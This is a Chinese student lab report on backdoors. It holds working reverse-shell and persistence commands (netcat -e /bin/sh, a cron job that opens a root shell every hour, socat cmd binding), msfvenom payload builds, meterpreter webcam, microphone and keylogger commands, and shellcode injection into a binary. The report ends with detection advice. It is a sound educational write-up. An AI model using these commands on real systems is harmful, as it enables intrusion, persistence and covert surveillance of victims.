20242301 2026-2027-1《网络与系统攻防技术》实验二实验报告
20242301 2026-2027-1 《网络与系统攻防技术》实验二实验报告
实验名称:后门原理与实践
1.基础知识
1.1 后门是什么
后门(backdoor)指的是绕过正常身份认证、能在目标主机上长期隐蔽地执行命令的一类程序或配置。很多人把后门和木马混着说,其实关注点不太一样:木马说的是那个被塞进去的东西,后门强调的是"通道"和"入口"。按我自己的理解,一个完整的后门至少要有两块:一条能反复拿到 Shell 的通路,一套让它反复活过来的机制。这次实验的五个任务基本就是把这句拆开验证——先手工搭通路(netcat、socat),再挂计划任务让它长期存在,然后把通路打包成 exe,接着在通路上做后渗透,最后把入口藏进一个正常程序里。
1.2 正向连接和反向连接
拿 Shell 的方向有两种。
- 正向(Bind Shell):目标主机监听端口,攻击机主动连过去。实现简单,但目标在 NAT 后面或者有防火墙拦入站时就断了。
- 反向(Reverse Shell):目标主机主动连回攻击机,攻击机负责监听。防火墙一般只管入站不管出站,所以这种方式成功率高得多,实战里也基本都是反连。
本实验里 nc 172.16.178.123 2409 -e /bin/sh 和 meterpreter 的 reverse_tcp 走的都是反连:把本机的 Shell 绑到一条主动发起的 TCP 连接上,谁在对面监听,谁就拿到了这个 Shell。
1.3 netcat 与 socat
netcat(nc)被叫做"网络瑞士军刀",本质是把一个 TCP/UDP 连接的标准输入输出接到本地的标准输入输出上,所以既能当听筒也能当话筒。常用参数:-l 监听、-p 指定端口、-e 把某个程序绑定到连接上、-v 显示过程。Windows 上用的是 netcat 1.11 的 nc64.exe。
socat 可以理解为 nc 的加强版,核心概念是"两个地址之间的双向管道"。地址类型很丰富:tcp-listen:端口、tcp:IP:端口、exec:程序、pty、file: 等等,多个选项用逗号连起来。它比 nc 强的地方在于能给程序分配伪终端(pty),所以拿到的 cmd 是真能交互的,方向键、Tab 补全都能用。
1.4 计划任务:cron 与 schtasks
后门想活得久,最朴素的办法就是挂计划任务。
- Linux 的 cron 是个守护进程,按"分 时 日 月 周"的格式周期性执行命令,
*表示任意。crontab -e编辑、crontab -l查看、crontab -r清空;任务实际是以文件形式保存在/var/spool/cron/crontabs/下,每个用户一个文件(root 的也叫 root)。 - Windows 的 schtasks 是"任务计划程序"的命令行版本,
/sc指定频率、/mo间隔、/tn任务名、/tr要运行的程序。图形界面里能直接看到触发器和上次运行时间。
1.5 Metasploit 的三件套
- msfvenom:生成 payload。常用
-p指定载荷、LHOST/LPORT指定回连地址和端口、-f指定输出格式、-o输出文件,还有-e编码器、-i编码次数、-x指定模板程序、-k保留模板原功能。 - exploit/multi/handler:万能监听模块,配上和 payload 一致的参数就能接收反弹回来的连接。
- meterpreter:运行在内存里的高级 payload,通过反射式 DLL 注入实现,不落盘。拿到会话后能做文件操作、进程迁移、提权、拍照录音、键盘记录、端口转发等等,是后渗透阶段的主力。
1.6 shellcode 注入
shellcode 就是一段可以直接执行的机器码。msfvenom -x 模板程序 的做法是拿一个正常程序当壳,改写它的入口点或追加一个节,把 shellcode 放进去,程序一运行就先跑 shellcode。加上 -k 之后原程序的功能会保留,shellcode 在同一个进程里另起线程去反连。这样从外面看进程名、路径、图标都没变,只是多了一条隐蔽的外连。
1.7 提权与免杀
meterpreter 的 getsystem 把 Windows 上几种常见的本地提权手法打了个包,一共六种技术:命名管道模拟(内存/释放 DLL 两种)、令牌复制、RPCSS 变体、PrintSpooler 变体、EfsPotato。它们的共同前提是当前进程要有足够权限,一般得是管理员并且已经过了 UAC。所以 getsystem 不是"一键提权",起点不够就是不够。
免杀是另一件事。msfvenom 直接生成的裸 payload 特征非常明显,国内主流杀软基本都能静态查杀。常见的应对有:编码器(如 x86/shikata_ga_nai)加多次迭代、加壳、修改或重编译模板、分离免杀(shellcode 加密存放 + 独立 loader 解密执行)、白利用(借签名程序加载)等。需要说清楚的是,关掉杀软再运行后门不叫免杀,那只是把防守方按住了,两者不是一回事。
2.实验内容
本次实验一共五个任务,都是围绕"后门"展开的。整体思路是先把"通道"和"持久化"拆开做一遍,再换成现成的工具把两件事合起来:任务一、二不依赖任何框架,只用 netcat、socat 加计划任务手工搭一个能长期存活的后门,目的是把原理看清;任务三换成 MSF,用 msfvenom 生成现成的 exe,等于把前面手工做的事打包;任务四在拿到的通道上做后渗透,看一个会话究竟能延伸出多大的危害;任务五再把入口藏进正常程序里,解决"后门太显眼"的问题。
| 角色 | 系统 | 主机名 | IP |
|---|---|---|---|
| 攻击机 | Kali Linux(VMware 虚拟机) | caohongrui | 192.168.14.136 |
| 目标机 | Windows 11(物理机) | LAPTOP-PM501QKL | 192.168.14.1(VMnet8)/ 172.16.178.123(无线) |
工具:netcat 1.11(nc64.exe)、ncat 5.59BETA1、socat、Metasploit Framework 6.4.135-dev(msfvenom + msfconsole)、Dev-C++ 5.11。
五个任务分别是:
- 用 netcat 拿到操作 Shell,再用 cron 启动一个自定任务;
- 用 socat 拿到操作 Shell,再用 Windows 任务计划启动任务;
- 用 MSF meterpreter 生成 exe 后门,用 ncat 传到主机运行并拿到 Shell;
- 用 meterpreter 获取主机音频、摄像头、击键记录,并尝试提权;
- 用 MSF 生成 shellcode 注入实践一的 pwn1,获取反弹连接 Shell。
3.实验过程
3.1 任务一:netcat 拿 Shell,cron 起定时任务
先把环境打通。 Windows 的实时保护和防火墙会直接掐掉监听和反连,所以先在"病毒和威胁防护"里把实时保护关掉(图 1),再在控制面板里确认防火墙处于关闭状态(图 2)。

图 1 关闭 Defender 实时保护

图 2 关闭 Windows Defender 防火墙
看清两端的地址。 主机上 ipconfig,VMnet8 网卡是 192.168.14.1,无线网卡是 172.16.178.123,DNS 后缀是学校的 besti.edu.cn;Kali 在同一个 VMware 网段里,地址 192.168.14.136(图 3)。

图 3 查看主机各网卡地址
主机端监听。 进入 netcat 目录,用 2409 端口开一个监听:
cd D:\Study\netcat-win32-1.11\netcat-1.11
.\nc64.exe -l -p 2409
再开一个窗口确认端口起来了:
netstat -an | findstr "2409"
结果里出现 TCP 0.0.0.0:2409 0.0.0.0:0 LISTENING,说明端口已经在等连接(图 4、图 5)。

图 4 nc64 监听 2409 端口

图 5 netstat 确认监听状态
Kali 端反连。 先 sudo -i 切到 root(图 6),然后主动连回主机,并把本机的 /bin/sh 绑到这条连接上:
nc 172.16.178.123 2409 -e /bin/sh
这一步要注意方向:命令是在 Kali 上敲的,连的是 Windows,所以是"Kali 把自己的 Shell 送出去"。命令执行后 Kali 这边没有任何提示,而主机那个 nc 窗口成了遥控器。在主机窗口里敲 pwd,回显 /root(图 7),说明拿到的确实是 Kali 的 root Shell。

图 6 sudo -i 切换到 root

图 7 反弹连接后在主机上执行 pwd
写一个 cron 自定任务。 在拿到的 Shell 里直接操作 Kali 的计划任务(任务自定为:每分钟把学号写进指定文件):
crontab -r 2>/dev/null
echo "* * * * * echo 20242301 > /home/kali/tempfile/20242301.txt" | crontab -
crontab -l
crontab -r 先清掉旧任务,免得干扰;echo "..." | crontab - 是不用打开编辑器的写法,把整行任务从标准输入交给 crontab;-l 再回读一遍确认写入成功(图 8)。

图 8 用管道写入 cron 任务并回读
等过一分钟,打开 /home/kali/tempfile/20242301.txt,里面已经被写入 20242301(图 9,文件时间 23:40)。到这一步,cron 任务确实按时执行了。

图 9 定时任务生成的文件
看看任务到底存在哪。 cron 的任务是以文件形式落盘的,一个用户一个文件,统一放在 /var/spool/cron/crontabs/ 下。因为前面已经 sudo -i 成 root,刚才那条任务写进的就是 root 的那份,权限 -rw-------,属主是 cron(图 10)。知道这个路径有用——排查别人机器的时候,直接翻这个目录比 crontab -l 更不容易漏,因为有些后门会绕过 crontab 命令直接写文件。

图 10 查看 /var/spool/cron 下的任务文件
接着把自定任务也写进 root 的这份(这里用重定向直接写文件,效果和 crontab -e 一样,只是省事):
echo "30 * * * * echo 20242301 > /home/kali/tempfile/20242301.txt" > /var/spool/cron/crontabs/root
crontab -l

图 11 修改 root 的定时任务并回读
再用 crontab -e 打开 root 的任务表,在最下面补一条,这条才是真正意义上的后门(图 12,编辑器里还留着 crontab 默认的注释头):
50 * * * * /bin/netcat 172.16.178.123 2409 -e /bin/sh
意思是每小时的第 50 分钟,机器自己拿 netcat 连回主机并把 root Shell 交出来。之前手动敲 nc 只能进去一次,写进 crontab 之后,只要机器开着、cron 服务在跑,这个入口就一直在。后门和一次入侵的区别,大概就在这里。

图 12 在 root 的 crontab 里加入定时反连任务
3.2 任务二:socat 拿 Shell,任务计划启动
这次方向反过来,主机当服务端,把 cmd 挂到网络上。在 D:\Study\socat 下执行:
socat.exe tcp-listen:8888 exec:cmd.exe,pty,stderr
Kali 端连接:
socat - tcp:172.16.178.123:8888
窗口里直接出现了 Windows 的命令行横幅和 D:\Study\socat> 提示符(图 13),等于坐到了主机的 cmd 上。exec:cmd.exe 负责把连接接到 cmd,pty,stderr 给 cmd 配了伪终端并把错误输出也接过来,所以交互体验和本地开一个 cmd 差不多。和任务一相比,这次是正向连接——主机监听,我连过去。

图 13 socat 拿到主机 cmd
准备一个定时运行的程序。 任务要求"任务自定",我写了个最简单的 C 程序,作用就是把自己的学号写进一个文本文件(图 14):
#include <stdio.h>
#include <stdlib.h>
int main(){
FILE *file = fopen("20242301.txt", "w");
char *str = "20242301";
if (file == NULL) {
printf("Error\n");
return 1;
}
fprintf(file, "%s", str);
fclose(file);
return 0;
}
用 Dev-C++ 编译后把 exe 放到 D:\test\experiment2.exe。

图 14 编写定时写文件的程序
建计划任务。 在上一步拿到的 cmd 里执行:
schtasks /create /sc minute /mo 1 /tn 20242301chr /tr D:\test\experiment2.exe
第一次带双引号敲的时候一直返回 SCHTASKS 的帮助信息,原因是 socat 的 pty 把引号吃掉了,参数被拆错。任务名本身没有空格,去掉引号重新敲就成功了,输出里的中文是乱码,但依稀能看出"成功创建计划任务"的字样(图 13 下半部分)。
回主机打开"任务计划程序",库里面多了一个 20242301chr,状态"准备就绪",触发器写着"每天 00:01:00 重复一次"(图 15)。这意味着它每分钟都会拉起一次 experiment2.exe,用户端完全无感。

图 15 任务计划程序中的 20242301chr
3.3 任务三:生成 exe 后门,ncat 传送并拿到会话
生成后门。 LHOST 必须填 Kali 的地址,因为反弹是主机连回 Kali:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.14.136 LPORT=8888 -f exe > backdoor20242301.exe
输出 Final size of exe file: 7168 bytes(图 16)。

图 16 msfvenom 生成 Windows 后门
传送到主机。 主机端用 ncat 接收并重定向到文件,Kali 端把文件推过去(这一步主机的地址是 10.30.41.132,中途换过网络,网段和前面 ipconfig 看到的已经不一样了,所以传之前又重新确认了一遍):
主机: .\ncat.exe -l -p 410 > D:\backdoor20242301.exe
Kali: nc 10.30.41.132 410 < backdoor20242301.exe

图 17 用 ncat 传输后门文件
运行后门。 在主机上直接执行:
D:\> .\backdoor20242301.exe
没有任何窗口弹出,敲完就回到提示符(图 18),这也是这类后门"安静"的地方。

图 18 在主机上运行后门
等待会话。 在 Kali 上起 handler:
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.14.136
set LPORT 8888
exploit
几秒后回显 Sending stage (199238 bytes) 和 Meterpreter session 1 opened (192.168.14.136:8888 -> 192.168.14.1:33446)(图 19)。192.168.14.1 正是主机 VMnet8 网卡的地址,说明连接确实是主机主动发起的。

图 19 handler 收到 meterpreter 会话
验证控制权。 sessions -i 1 进入会话,getuid 显示 LAPTOP-PM501QKL\chr,当前是普通用户;再 dir 一下,列出了 D 盘的完整目录(图 20、图 21),能看到 Program Files、Users 这些系统目录,还有刚放进去的 backdoor20242301.exe。

图 20 进入会话并查看当前用户

图 21 dir 列出目标 D 盘目录
到这里就不只是"能连上"了,而是在目标主机上真正执行命令。
3.4 任务四:摄像头、录音、键盘记录与提权尝试
拿到会话后依次试了几个后渗透命令:
webcam_list
webcam_snap
record_mic -d 10
keyscan_start
keyscan_dump
keyscan_stop
webcam_snap 抓到的图片和 record_mic 录下来的音频都落在 Kali 的 /home/kali 目录下,文件名是随机生成的;keyscan_start 之后再在主机上随便敲几个字符,keyscan_dump 就能把敲过的内容原样吐出来。看、听、记这三样凑齐,被控的人基本没有任何感知。
〔此处补 webcam_snap / keyscan_dump 的截图,发布前记得插〕
提权。 getuid 显示当前是 LAPTOP-PM501QKL\chr,普通用户。执行 getsystem 后,六种技术挨个试了一遍,全部失败,统一报 Operation failed: All pipe instances are busy(图 22)。后来又试了 migrate 到 winlogon.exe(拒绝访问)和手动挂 bypassuac 模块(需要重新投递一次 payload),都没能拿到 SYSTEM。

图 22 getsystem 六种技术全部失败
3.5 任务五:把 shellcode 注入 pwn1
注入前先处理了一个工具本身的坑。msfvenom 打 ELF 的时候,lib/msf/util/exe/linux/x86.rb 里替换入口点的函数缺少返回值,输出的是裸 payload 而不是打过补丁的 elf,只有一百多字节,跑起来会报 Syntax error: Unterminated quoted string。手动补上返回值得以正常生成:
sudo vim /usr/share/metasploit-framework/lib/msf/util/exe/linux/x86.rb
然后注入。第一次用的是实践一的 clean_pwn,报 No such file or directory @ rb_file_s_size,因为共享目录里只有 pwn1,换成 pwn1:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.14.136 LPORT=8888 \
-x /home/kali/chr20242301/pwn1 -k -f elf -o 20242301_pwn1018
输出 Payload size: 123 bytes、Final size of elf file: 7418 bytes(图 23)。加上执行权限后运行:
sudo chmod a+x 20242301_pwn1018
./20242301_pwn1018
-k 的作用是保留原程序功能,pwn1 本身照常运行,shellcode 在它的进程空间里另起一个线程去连 LHOST。所以从外面看只是跑了一个普通的实验程序,进程名、路径都没变。

图 23 向 pwn1 注入 shellcode 并生成 elf
把 handler 的 payload 换成 linux/x86/meterpreter/reverse_tcp 后重新 exploit,再运行注入过的程序,会话成功回来,dir 看到的是 Kali 的 /home/kali 目录(图 24),说明 shellcode 已经在 pwn1 的进程里跑起来了。

图 24 pwn1 反弹回连拿到会话
4.问题及解决方案
- 问题1:Kali 里每次
sudo都要先刷一行sudo: unable to resolve host caohongrui: Name or service not known,虽然不影响执行,但每次都要卡一下。 - 问题1解决方案:查了一下是
/etc/hosts里没有把主机名映射到回环地址,sudo 解析主机名失败就会提示。在/etc/hosts里加一行127.0.1.1 caohongrui后不再报错。这个问题和攻防无关,但改主机名之后几乎必然会遇到。 - 问题2:Windows 端 nc 已经监听好了,Kali 连过去却没反应,连接被拒绝。
- 问题2解决方案:主机防火墙默认拦截入站连接。把 Defender 防火墙和实时保护关掉之后连接立刻通了。后来想,其实也可以只给 2409、8888、410 这几个端口加一条入站允许规则,更接近真实环境里"最小放行"的做法,全关只是图省事。
- 问题3:通过 socat 拿到的 cmd 里建计划任务,
schtasks /create ... /tn "20242301chr" /tr D:\test\experiment2.exe一直返回帮助信息,中文还是乱码。 - 问题3解决方案:socat 的 pty 把双引号吃掉了,schtasks 收到的参数被拆散,于是当成参数不合法打印帮助。任务名本身没有空格,去掉引号重敲就成功了。乱码是 pty 的 UTF-8 和 cmd 的 GBK 输出对不上,属于显示问题;判断任务有没有建成,回"任务计划程序"里核对最靠谱。
- 问题4:
msfvenom -x clean_pwn报No such file or directory @ rb_file_s_size;换成存在的文件后又只生成一百多字节,跑起来报Syntax error。 - 问题4解决方案:前一个是模板文件不存在,msfvenom 注入前要读模板的大小和结构,找不到就直接失败,换成共享目录里实际有的
pwn1即可。后一个是工具自身的 bug,linux/x86.rb的入口点替换函数少了返回值,补上之后才有正常的 7418 字节。 - 问题5:
getsystem六种技术全部失败,报All pipe instances are busy。 - 问题5解决方案:排查下来不是命令写错。getsystem 依赖命名管道模拟和令牌复制,前提是当前进程权限足够(管理员且已过 UAC)、系统里有可用的高权限管道实例。我的后门是普通用户直接双击运行的,UAC 没提权,管道又一直被占用,所以六种技术全挂。
migrate到winlogon.exe权限不够,bypassuac需要重新投递。最后接受这个结果并记录下来:getsystem 只是把几种现成的提权手法打包,起点权限不够就是不够,不是什么情况都能一键 SYSTEM。
5.学习感悟、思考等
做之前觉得后门挺神秘的,做完发现核心就一句话:一条能反连的通路,加一套让它反复活过来的机制。任务一那条写进 root crontab 的 50 * * * * /bin/netcat ...,是这次印象最深的一步。手动敲 nc 只是"我这次进去了",写进计划任务才是"以后它自己会回来"。这两件事之间的差距,就是入侵和后门的差距。
花时间最多的反而不是攻防本身,是排错。引号被 pty 吃掉、编码不对导致乱码、模板文件路径写错、主机名解析不了,每一个都卡了不短的时间,也都不"高级"。以前总觉得命令敲对就行了,现在发现环境差异才是主要成本,尤其跨 Windows 和 Linux 的时候,同样的命令换个 shell 结果就不一样。
关于免杀,这里得说实话。老师要求掌握免杀技术,但我是关掉 Defender 才把后门跑通的,严格讲这只是把防守方按住了,不算免杀。裸的 msfvenom payload 特征太明显,真放到联网环境里大概率落地就被删。这次只到"知道方向"的程度:编码器、分离加载、换模板、白利用,没真正动手做,算是这份报告里比较遗憾的一块。
提权失败也是类似的感觉。一开始以为拿到 meterpreter 就等于拿到最高权限,实际上 getuid 一个 LAPTOP-PM501QKL\chr 就把上限定死了,后面所有的后渗透操作都只能在这个权限里打转。权限起点决定后渗透的上限,这句话在实验里比在书上看得清楚。
最后从防守方回头看一眼,这次做的每个动作其实都留了痕迹:2409 和 8888 的监听端口、每分钟触发一次的计划任务、周期性的外连、D 盘根目录下多出来的 exe。以后排查自己的机器,先看这三样——netstat 的异常外连、计划任务里不认识的名字、启动项和临时目录里陌生的程序,基本能覆盖掉大部分情况。
6.思考题
(1)后门进入系统的可能方式
- 钓鱼邮件和恶意附件:伪装成简历、报销单的文档或压缩包,诱导双击。
- 捆绑和破解软件:外挂、注册机、"绿色版"工具里夹带,安装即中招。
- 利用暴露面的漏洞:RDP/SSH 弱口令爆破、Web 漏洞 getshell、未打补丁的远程漏洞。
- 供应链投毒:软件更新包、开源依赖、破解补丁被篡改,被动中招。
- 移动介质与共享目录:U 盘、网盘、共享文件夹里放一个看起来正常的 exe。
- 远程管理工具被滥用:把 TeamViewer、向日葵之类正常软件装上去当后门用。
- 社工:冒充运维让人"装个补丁"或者"远程协助一下"。
(2)后门在 Windows 和 Linux 上的启动方式
- Windows:计划任务(
schtasks);注册表Run/RunOnce自启动项;启动文件夹;注册为系统服务(sc create);Winlogon的Userinit/Shell替换;映像劫持 IFEO;WMI 事件订阅;COM 组件劫持;引导期植入(Bootkit)。 - Linux:
cron/crontab(本次用的就是这个);systemd服务;/etc/rc.local、/etc/init.d/;/etc/profile、~/.bashrc、~/.bash_profile等登录时执行;LD_PRELOAD劫持动态库;PAM模块;authorized_keys直接种公钥。
(3)Meterpreter 印象深刻的功能
getsystem:一条命令把六种 Windows 提权手法轮着试一遍,虽然这次全失败了,但机制很直观。migrate:把会话迁到别的进程里,原程序关掉也不掉线,隐蔽性提升很明显。keyscan_start/keyscan_dump:后台记录键盘输入,密码、聊天内容都能捞到,隐私风险极大。webcam_snap/record_mic:直接开摄像头和麦克风,物理世界的隐私也没了。portfwd:把目标内网端口转发到本地,等于拿它当跳板。clearev:一条命令清空目标的事件日志,痕迹说没就没。
(4)如何判断系统有没有被安装后门
- 看网络:
netstat -ano、ss -tunlp关注陌生监听端口和周期性外连,用 PID 反查进程;有条件就抓包看有没有规律的心跳。 - 看计划任务:Windows 的"任务计划程序"和
schtasks /query,Linux 的crontab -l、/etc/cron.*、systemctl list-unit-files。 - 看自启动项:注册表
Run键、启动文件夹、服务列表;Linux 的rc.local、init.d、.bashrc、authorized_keys。Autoruns 这类工具能一次列全。 - 看进程和文件:任务管理器或
ps里找无签名、路径可疑(Temp、AppData、/tmp)的进程;看最近被修改的系统文件和新增的可执行文件。 - 看账号和日志:有没有多余账户、异常时间的登录、突然的提权记录,翻 Windows 安全日志(4624/4688)和
/var/log。 - 上工具:全盘杀毒或 EDR 扫描,
rkhunter、chkrootkit查 rootkit,文件完整性校验对比基线。

浙公网安备 33010602011771号